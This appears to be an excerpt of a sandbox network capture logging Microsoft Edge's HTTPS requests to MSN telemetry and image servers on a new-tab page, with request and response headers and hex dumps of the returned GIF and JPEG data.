2024-11-28 10:05:41 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	49908	20.110.205.119	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:41 UTC	1279	OUT	GET /c.gif?rnd=1732794601277&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=52774db8804d4ee0a3d6f3bc67acd2b6&activityId=52774db8804d4ee0a3d6f3bc67acd2b6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C925CAC1AE6A49EAAE0763AA1B869BE1&MUID=3E27FF0838006C7C38C4EA4D39726D3F HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-28 10:05:41 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3E27FF0838006C7C38C4EA4D39726D3F; domain=.msn.com; expires=Tue, 23-Dec-2025 10:05:41 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=3E27FF0838006C7C38C4EA4D39726D3F; domain=c.msn.com; expires=Tue, 23-Dec-2025 10:05:41 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Thu, 05-Dec-2024 10:05:41 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Thu, 28-Nov-2024 10:15:41 GMT; path=/; SameSite=None; Secure; Date: Thu, 28 Nov 2024 10:05:40 GMT Connection: close Content-Length: 42
2024-11-28 10:05:41 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	49911	104.117.182.59	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:41 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:42 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQB Last-Modified: Mon, 18 Nov 2024 16:00:05 GMT X-Source-Length: 116349 X-Datacenter: eastus X-ActivityId: d5afbdab-f330-4b6b-9080-ebcfb1965bf6 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 116349 Cache-Control: public, max-age=367041 Expires: Mon, 02 Dec 2024 16:03:02 GMT Date: Thu, 28 Nov 2024 10:05:41 GMT Connection: close
2024-11-28 10:05:42 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: 92 8a d0 1c cf 51 57 14 54 bc d8 cc e1 ba b0 3b 9e a1 03 e6 76 ea 0b 24 2e 60 ce d3 ba 6f 54 75 40 ec e8 cf 15 95 71 5c ff 00 51 bd 56 7a 8d ea 8b 0b 2f 17 4a 8d 55 ad bd 42 52 f1 d5 3b 02 d9 77 15 4b 36 2c 59 5b fd c8 80 75 36 8f 35 b5 f1 50 65 2c 73 48 76 85 26 d5 7f 70 47 93 cf 8f 00 9a 5e 78 00 d8 f8 95 ce c2 d0 5d 19 09 a4 9b c1 bf bf e3 d5 75 b2 60 15 18 a4 37 8c fc 61 42 ce d3 1b 4c 97 17 70 d0 7e 25 70 7b 89 7f c3 af 43 b5 db f6 fd b5 21 ec 6c c1 b1 3a ca bf 4e 3a 83 c8 12 2c 1c b8 cd 71 60 a5 9c a3 82 c9 27 8a a7 fd 46 31 13 25 1e a7 65 d9 b1 8d e7 d9 40 7b ae 8d 0b 94 b2 63 65 8b f3 cd eb 45 f1 45 d7 77 19 0f 01 c2 ca b1 71 f3 e2 55 72 e5 1a c9 b7 2d db 65 51 64 e4 3e ea 29 e0 96 10 a4 61 2b 54 75 1b c2 5a ca 62 a2 53 1d 54 64 f1 29 2b ea 11 af Data Ascii: QWT;v$.`oTu@q\QVz/JUBR;wK6,Y[u65Pe,sHv&pG^x]u`7aBLp~%p{C!l:N:,q`'F1%e@{ceEEwqUr-eQd>)a+TuZbSTd)+
2024-11-28 10:05:42 UTC	2662	IN	Data Raw: f2 f4 34 50 39 0d c4 eb c8 30 6f a0 85 38 c3 69 98 1d 75 f2 57 4b 43 86 b4 ce 9c 0e e3 ef 64 37 13 5b 72 66 6c 23 8f 50 52 f7 3d 07 c0 a4 00 6c 92 27 a4 fe 10 99 d2 5b 14 b6 66 6f 6f 13 a7 92 67 0a 2c 1b b7 b9 f6 3e 49 ec 5a 06 84 de 34 bf f9 4a f5 1d 14 ea 32 01 6c f9 c4 03 f7 b2 8a 9d a6 d3 23 a4 44 78 ab be 99 20 02 40 eb 7d 7a 70 e1 2b 5a c6 b5 c4 92 0e d1 a0 07 8a be 49 13 45 30 c9 df a7 d3 f1 5b 49 d8 1e 9a 8d fc fe 8a d9 8e 9a e9 1a 0f 6e 1f 82 8b 88 b7 f5 de 78 74 4f 95 8a 8a fe 9b 89 99 b7 d3 5d 47 15 87 10 67 43 56 bf 54 c6 c6 c2 7a ce fc 7d b6 52 b8 92 48 22 26 dd 40 3f 1f 25 56 f0 2a 44 4d c7 ec 7a 47 de eb 00 1b 80 2f a5 93 d2 67 43 1f 1f 00 b1 cc 2d 92 23 41 1d 0c f5 fa 27 7d 77 0a 1c d2 d9 20 c8 8f 21 f7 e2 a3 90 e7 41 2e 22 76 09 da d7 1d Data Ascii: 4P90o8iuWKCd7[rfl#PR=l'[foog,>IZ4J2l#Dx @}zp+ZIE0[InxtO]GgCVTz}RH"&@?%V*DMzG/gC-#A'}w !A."v
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: f3 2f f6 0e 07 21 d8 e8 31 ca d2 1d c2 fe 29 28 78 33 25 d3 b6 b1 bc db aa ee b7 13 e4 88 04 41 d4 02 76 1a 91 c2 74 55 ff 00 6f 04 00 e9 b3 af 24 3a 47 4b c4 09 9d 95 af 3a d9 b0 f6 ce 33 fd c1 f3 80 88 68 f7 f3 f1 5d 47 f6 6f f4 e0 18 27 59 eb 31 56 86 24 6c 15 67 f6 59 0b 88 c7 14 6a 2e 6d 79 22 60 4c fb ad 57 97 c6 f5 48 8e 12 ec 54 96 89 b3 bd a2 75 e8 02 88 e4 1a cf 5d 06 cb a4 7b 17 35 c0 12 44 83 7d 74 be a3 43 d2 62 54 ff 00 b6 10 d0 48 e5 32 5c e0 37 70 24 11 70 7d a1 37 e6 87 7b 0e 12 38 d1 3d 5b f9 28 64 cd 86 84 7b 7d fc 57 a4 38 4d 4d 71 dd c6 64 0b 34 4d ec 3c c4 15 49 d8 f2 63 24 36 e3 fe a1 2e b8 9b 8d 06 f0 3c d2 5e 64 fb 7d 47 c0 e6 df 57 b4 89 3a 9f 7d 92 82 ca a9 b9 9b db 51 ef 2b a0 fe d3 26 42 25 d3 43 b9 81 86 88 b4 47 5b 6b ec a6 Data Ascii: /!1)(x3%AvtUo$:GK:3h]Go'Y1V$lgYj.my"`LWHTu]{5D}tCbTH2\7p$p}7{8=[(d{}W8MMqd4M<Ic$6.<^d}GW:}Q+&B%CG[k
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: 34 73 3c bb 98 0e 00 9b c6 c9 bb 6f ed f4 2e c7 37 aa 20 89 04 87 4c 6e a5 cb 97 16 32 f7 e2 39 2a 73 60 93 14 98 22 6d 77 47 c0 ab ca 7c 52 c6 eb e7 a9 1b e5 95 da fa 31 06 c5 af 04 d9 c7 f0 89 95 0e 3c 85 8f 61 04 fc c3 8e ea d7 6a df 5d e6 a8 73 58 da 60 ff 00 ca 4b 40 03 53 33 2a ae 5c 79 3b 79 6b 88 93 ca 7a d2 08 3f 5b 2b c5 ca 2f 7d eb e4 5d 98 cf 74 9c 8e 89 0e 2d e6 8d 0c cc 4c 8d a6 64 5d 59 70 2d c6 79 e7 43 41 69 92 34 a9 a4 c8 80 4a ac ec 2f 6e 31 92 0b 98 49 04 88 81 1f 11 ee 54 b9 32 39 ae 6b 64 3a 86 08 30 62 e3 4b 9b 8e 29 3c d5 53 ff 00 85 12 0c 04 3c 63 c8 41 24 0a 5c d2 2d 00 9a 60 c6 f0 34 4f 4b 32 8c 65 ac 03 21 ab 99 ce d6 99 0d 88 b1 b0 53 63 cb 8d d9 31 bb d2 6b 9d e9 de a3 00 1a 60 5e e2 0d b5 d6 60 a8 dd 46 1a e9 02 5a 4d c7 30 Data Ascii: 4s<o.7 Ln29s`"mwG\|R1<aj]sX`K@S3\y;ykz?[+/}]t-Ld]Yp-yCAi4J/n1IT29kd:0bK)<S<cA$\-`4OK2e!Sc1k`^`FZM0
2024-11-28 10:05:42 UTC	7952	IN	Data Raw: 82 35 1c 3d b7 48 ec b3 f2 c1 90 4e b1 4e d3 fe 7c 96 09 72 4b 5d b7 c9 77 44 38 f2 3f d5 39 1c e2 1e d6 e9 a8 36 bc f4 30 61 59 1e a5 db a0 f9 84 da e3 43 a7 97 b2 84 ba 87 bc 41 35 8d 76 3e e7 49 4e cc 95 06 07 4c 01 03 7d 4e 81 54 fe 15 50 26 50 67 6a ec 5d c1 04 d4 63 98 89 83 a4 cc 81 a1 b1 9d 55 8f 48 35 d6 02 ce 02 92 7e 66 8e 20 ea e1 a0 91 b2 b2 1d 01 d6 f1 e8 3e ee ae 3b 06 4c 5d b3 df 93 94 38 72 9d 5c 61 dc b0 38 8b 6b 30 34 53 2f 26 d6 f7 a5 f2 24 ac a4 dc de 9e 3f 44 32 90 5c d7 3a a9 9e 60 20 c7 d3 82 87 1e 3c 87 23 0b 07 34 55 ec d8 f7 8b 74 2a 67 e5 73 f3 0d 1c e3 54 b8 c9 26 04 5f 8d a0 2b c3 2b 18 fa c3 c8 a4 11 43 45 e0 08 22 5d 63 57 b1 f8 28 72 71 d9 2b 6a fd 47 bd 15 58 7d 17 35 94 bc 9b b0 34 58 c9 1a b8 41 16 3b 15 7f bb 6e 6c f8 Data Ascii: 5=HNN\|rK]wD8?960aYCA5v>INL}NTP&Pgj]cUH5~f >;L]8r\a8k04S/&$?D2\:` <#4Ut*gsT&_++CE"]cW(rq+jGX}54XA;nl
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: f8 65 ad 2c 9d 0e d9 98 dc d3 91 e3 94 3a 22 f3 3a c0 88 9b 02 0f 45 cb 71 0d 79 73 26 1c 1c 27 70 d7 4d be fa 24 39 1f 55 9d 00 55 a1 e5 8e 80 6e 4c eb d5 6e 16 bf 23 83 1a d2 67 f0 d7 c7 64 92 e2 dc 9b dd 7d 10 ef 6a 2e f6 4c c6 cf 51 ce cb 4c 32 96 37 52 f2 66 67 ac ff 00 2b 68 b3 b7 f5 1b 97 13 da e0 1a 1e 18 4c 81 36 83 22 67 cf d9 54 7e 42 1e 5a 43 29 61 74 16 e8 49 17 8f b8 57 7b 6e f1 9d b6 12 c6 30 b9 f9 0b 89 2f 32 d8 00 4c c4 1b ee 14 cd 4a 9b 5f 77 2a c6 2a 8a b5 84 dd 51 d6 ff 00 61 8f 1b 3b 5c 40 17 3c 92 2e 4e 80 ea 22 ce bd a0 91 e6 a9 76 23 0d 45 af 34 37 d3 87 b4 b9 c6 ab 4c 92 22 36 b7 18 55 b2 65 f5 de d7 ba 91 53 62 da 72 88 1f 4b 23 03 bb 76 0c d5 d4 ed 99 12 3a 49 3a 78 68 b0 50 6b c5 c5 f2 6f a6 f9 65 39 27 2b 54 51 c9 cf 91 ce 6d Data Ascii: e,:":Eqys&'pM$9UUnLn#gd}j.LQL27Rfg+hL6"gT~BZC)atIW{n0/2LJ_w**Qa;\@<.N"v#E47L"6UeSbrK#v:I:xhPkoe9'+TQm
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: c6 5c d7 07 07 58 53 37 1a 1f 05 d2 ed 1e 0f 74 c1 8f 90 b9 b4 3e 64 82 00 3c bd 6f 61 ee b8 dd ef 72 d3 99 e5 ad 73 49 26 a6 bf f5 01 7d ec 3a 0d 96 09 ca 7e 4a af f1 4f f7 34 69 71 be a4 79 35 0e 8d 26 0d e0 80 66 27 42 40 80 61 66 2f 91 a4 83 7d 38 ef f0 d5 49 dd 77 6f 7e 2e df 1b 5a 68 a0 4d 4d 89 73 64 40 31 a0 1e 26 e5 43 8f b8 8c 61 96 a4 6f f5 8d 35 88 5d 15 2e 2b ed d7 6b d0 9a 5d cb c3 18 f9 9a e0 35 2e e0 62 05 fd b5 f7 49 87 11 c9 4b 1c ea 03 8c 4b ae 20 cc 90 06 e9 3d 43 06 06 f7 b6 b6 95 45 cf 71 63 79 ae 63 7b ee 25 42 52 77 9f f8 52 3b 98 fb 4c ce 2d 60 6b a2 aa 4b 8b 48 60 6e 80 98 9f 87 45 b9 31 e6 ee 4d 21 cc 3e 89 10 d8 83 4c 44 58 40 e8 64 fb 23 07 7a d2 48 ca eb bd cd 64 80 22 96 cd c6 83 7d 2c 0e ea cf fb 1c cc c0 1c 70 e5 6d 70 5b Data Ascii: \XS7t>d<oarsI&}:~JO4iqy5&f'B@af/}8Iwo~.ZhMMsd@1&Cao5].+k]5.bIKK =CEqcyc{%BRwR;L-`kKH`nE1M!>LDX@d#zHd"},pmp[
2024-11-28 10:05:42 UTC	7952	IN	Data Raw: d5 56 1c d7 58 88 93 ad cf 13 65 e2 06 2a 5d ff 00 94 79 0e 2b 2f e9 fd c9 3f 23 9b 5a 71 4b 6f 92 e7 c5 25 45 9c 1f db f5 0c 49 f4 cc 71 96 ff 00 95 23 c3 5b 88 4e fe 9d a2 f3 04 c5 bd cf 92 6c 4d 8c 6d 13 24 17 03 d4 c4 c2 67 b0 65 76 06 e8 df e6 ed 9a 06 a7 c8 4a d2 ee 7e b9 f4 46 48 eb 7f b1 6e 46 63 c0 c7 1c 78 dc c1 cd 8f 1d 6d 87 40 74 3a 64 48 03 ad 8e 8b 81 dd 39 ce 21 e6 d5 b8 be da 99 6b 7f 22 bb 9f ec 0e 57 31 85 ed 10 e7 b8 e3 00 c9 0d 2d 14 d4 01 22 60 ee 4b 94 7d 9f 6b 8f bb c8 e0 fa c3 31 92 39 41 3a 03 bc 40 e6 bf 11 65 cf e3 6b c7 e3 52 95 62 ee be 7f b9 bc be e9 52 38 6f 8b 8d 22 64 6e 4c c5 bc d1 8b b6 cb 9b 33 70 c4 38 87 44 98 06 96 93 63 f4 e2 ba bd ef fa ec fd ab 9e f3 4e 46 30 87 97 35 df ae 20 45 9c 48 9b c0 f8 28 bb 6e e0 b3 b8 Data Ascii: VXe*]y+/?#ZqKo%EIq#[NlMm$gevJ~FHnFcxm@t:dH9!k"W1-"`K}k19A:@ekRbR8o"dnL3p8DcNF05 EH(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	49913	104.117.182.59	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:41 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:42 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZa Last-Modified: Fri, 15 Nov 2024 07:23:40 GMT X-Source-Length: 110548 X-Datacenter: westus X-ActivityId: 1c1561fa-e2a7-4aa4-b29b-4f822fb442fe Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 110548 Cache-Control: public, max-age=76566 Expires: Fri, 29 Nov 2024 07:21:47 GMT Date: Thu, 28 Nov 2024 10:05:41 GMT Connection: close
2024-11-28 10:05:42 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: 57 22 e2 d6 73 a5 ae 1a 1e c5 97 de ba 22 c6 bb 72 8e 69 90 aa b2 1d 8c 46 92 11 25 4f c2 a9 e9 8d 81 54 91 04 59 95 7b 22 fa 43 7a af a7 bd 12 84 52 25 0f d3 3b 51 bd 33 b5 32 d7 a6 00 3d 33 b4 27 e9 94 68 70 d0 aa 49 0a 84 53 03 95 70 bb 62 2c 95 79 28 cc 08 d0 76 2c 52 f1 4a c2 e4 01 15 6a 91 20 e8 16 c3 10 04 64 ee a6 60 0b 70 a5 20 41 85 6c 2a 5e 15 52 d8 4e 40 04 2d ba 24 1d 85 59 ad 77 45 19 0c 1a 11 2a 6e 0d a6 56 40 0a 25 14 45 00 ec ed 57 c2 75 3d 88 d3 b9 3b ec 4b 31 c2 06 1a 36 27 08 8b 2c 33 2a 4a 90 50 9a 2f b7 72 1e 20 72 9f 92 63 36 16 42 65 d0 80 e7 a5 23 09 10 a9 28 38 c9 d1 54 a4 20 86 a5 94 5c 4e 56 96 ef 55 94 01 58 29 e1 4e 37 a7 84 aa 26 4c c2 ab 0b 60 ab 41 4c 01 d9 3b 22 e1 2a b8 4a 62 29 6d a9 c0 dc af 85 3c 08 10 3c 03 77 62 a1 Data Ascii: W"s"riF%OTY{"CzR%;Q32=3'hpISpb,y(v,RJj d`p Al^RN@-$YwEnV@%EWu=;K16',3JP/r rc6Be#(8T \NVUX)N7&L`AL;"Jb)m<<wb
2024-11-28 10:05:42 UTC	2980	IN	Data Raw: 96 cf 74 0d 9b 50 80 73 67 dc 46 5a f6 ae bb 39 ae b7 1c b4 63 a9 f9 9e d4 43 6a 7b d9 70 7e e0 b8 6f 88 7c 38 fb aa d3 6e 30 6e e6 44 9e a2 dd a3 34 81 c3 f1 dc 4f 0e eb 1c 57 c9 76 dc 3f c5 a9 71 0e 0d a8 d2 c7 1b 03 68 3d 4e 45 77 2e 4b 39 14 3c 99 72 ae df 23 ca 6b b2 68 b9 8d a6 06 a3 0e e3 3d 56 d2 a4 43 18 3d 10 4c 67 30 7b e5 7b 0f 11 f0 da 3c 48 c4 df 6b b4 7b 33 e6 35 f3 75 c1 57 f8 57 13 44 93 2e 70 fc cd 69 77 68 99 1e 2b 37 63 b7 bf 71 34 e2 30 d4 e3 68 97 37 8d 26 f6 c4 24 69 64 bd c5 80 ee 1e a1 96 98 19 8b 6b d4 a4 e2 c6 d3 7c e2 c5 27 32 d8 83 95 c5 d1 6a e0 75 27 00 f1 25 a6 c0 00 1d bb 72 e6 be d9 ba d6 9e 85 4e 6b 4c 85 1f 86 3f ff 00 6a d0 6f 0e 75 a3 7e d3 01 4d e2 70 36 8d 4a 8d 6b 98 e6 b4 91 ed 31 31 d9 1e 09 2f e1 f5 3d 1a 21 ae Data Ascii: tPsgFZ9cCj{p~o\|8n0nD4OWv?qh=NEw.K9<r#kh=VC=Lg0{{<Hk{35uWWD.piwh+7cq40h7&$idk\|'2ju'%rNkL?jou~Mp6Jk11/=!
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: 71 52 9f e5 8e 84 fd 51 43 99 bd 29 61 02 71 76 d1 f3 4f fc 67 46 f6 0f a2 51 c2 d7 6a 3b 3f 74 cd 16 ed 45 43 cc 4a 2c a6 47 da 3a 83 fb fc 90 fd 16 ed 23 b0 a5 43 44 0d 9d 88 5e 91 d8 15 54 52 ba e5 8b 3a 0f c6 b7 50 16 fe 35 97 cb a2 e1 ce 2c f1 0e 89 df 43 9a e3 e9 a3 aa 87 a9 d9 1e 3e 98 cc 49 dd 96 e4 31 c7 53 be 61 72 30 33 33 da ad 23 f2 ef 4f a6 85 43 d4 eb 87 1d 4b 29 3d 7e 8a 4f ac 1d 70 e3 75 c5 02 0d ee 8d 8c 9d 48 1b 14 be 2d 09 a5 ea 75 98 98 7f 90 cc 6a 99 60 3f c9 bd ab 95 c5 1a 36 3c 51 7d 61 ac 28 7c 5d cc a6 ed 0e 94 35 db 46 c5 a5 ae be 47 b9 73 cd e2 04 c8 10 3a 94 a8 d7 0e d1 32 a3 a4 c6 aa 78 0a 8d a9 55 bf c8 b2 73 c2 e4 be cf 8a 71 52 31 60 78 68 8f 76 67 a9 0b 8d 73 db 13 3e 65 08 d6 de bb ed b5 db 8b 3a ed b0 ee 87 15 c2 71 71 Data Ascii: qRQC)aqvOgFQj;?tECJ,G:#CD^TR:P5,C>I1Sar033#OCK)=~OpuH-uj`?6<Q}a(\|]5FGs:2xUsqR1`xhvgs>e:qq
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: 91 c1 0f 9e c5 6b 7f 76 c7 7b fb 5c a2 9f 04 18 b8 37 0b 0f f2 10 71 64 64 0c c4 25 b6 30 f0 ee 80 1c d6 bb 4f b9 83 bc 24 3f 80 fb a8 54 10 e7 43 e0 80 6d ee ee 88 ce 57 72 28 b3 3c 2e ff 00 71 1d c6 fc d5 fc cf 25 1c dc 8b 06 f6 12 b2 a4 b5 44 59 7b 44 b5 ce 66 f0 0b 98 7a 8c d4 81 5d ff 00 c8 02 36 8c 8f 7b 56 91 27 d9 88 5b ee 22 5b db 62 ae da 73 a0 de 60 89 fa f5 5e 6b b9 3d d7 f6 6b 4b c1 8f 1d 27 66 30 9e c3 f3 08 98 4c 59 d2 37 fd 42 a9 a4 ed 20 8d 8e 98 ed 42 f4 8e 92 d2 34 06 7b 3f 45 32 b5 f1 f7 90 86 b0 19 69 8c 8c 6e 87 b5 46 2d 6b b3 68 9d d9 8e 56 70 45 77 ae c3 39 f5 b1 3e 7a ac fc 43 09 c3 51 85 bd 44 8e d0 b7 4e ec 33 f2 dc c9 c7 97 99 0d d4 8b 6e d2 39 cf 78 bf 81 51 f1 bb f4 82 3c 3d dd a1 2c e0 63 be d7 78 cf 9f 05 19 cc 74 89 13 bf Data Ascii: kv{\7qdd%0O$?TCmWr(<.q%DY{Dfz]6{V'["[bs`^k=kK'f0LY7B B4{?E2inF-khVpEw9>zCQDN3n9xQ<=,cxt
2024-11-28 10:05:42 UTC	7952	IN	Data Raw: b9 ae e4 7b 04 88 74 e8 6a 44 df 28 17 53 8d 27 1b 0b 78 45 b4 bc a9 d9 0c fa 7e 8a a1 b0 0d c6 ba 8d 9a aa ad dd 9b 24 89 e8 c8 be 42 e6 fe 61 47 2d 6b 43 03 25 f6 31 00 9d 76 0b ca 52 38 40 6b 6e 43 a5 ce b8 3d 06 e4 03 60 0b 5f 2d 2d 93 39 8c b5 ce 3e aa 65 cc 39 d4 08 de 9e 26 0b e9 a5 88 f9 22 b6 88 0d 98 e5 1e 3a f6 a3 34 fb 65 de d1 62 6f 78 d9 12 7b 95 e9 1b 08 bc 9b 08 d9 ae fe 69 3b 9a ca 43 21 3c f0 e0 80 e7 b9 c2 09 cb 75 b0 91 17 1b 72 55 34 5c e7 e8 d0 1b 10 00 00 e5 71 ad fb 92 8d 6c 06 e4 dc ba d9 4d f5 0a 80 9f 4e 6d 33 1c bb 00 dc 8e a3 98 9c 8a f0 12 ab 52 ff 00 27 b4 62 98 ff 00 48 ca 74 41 fc 2e 20 7d a4 5b 38 99 3b 63 22 97 5e 4e f1 28 3e db 08 e5 bc 1c ef dd 2b 45 cb 19 2c a1 7a 81 ce 1a 2c 26 1d 26 2d 26 3c 7d df b2 6e a1 40 00 70 Data Ascii: 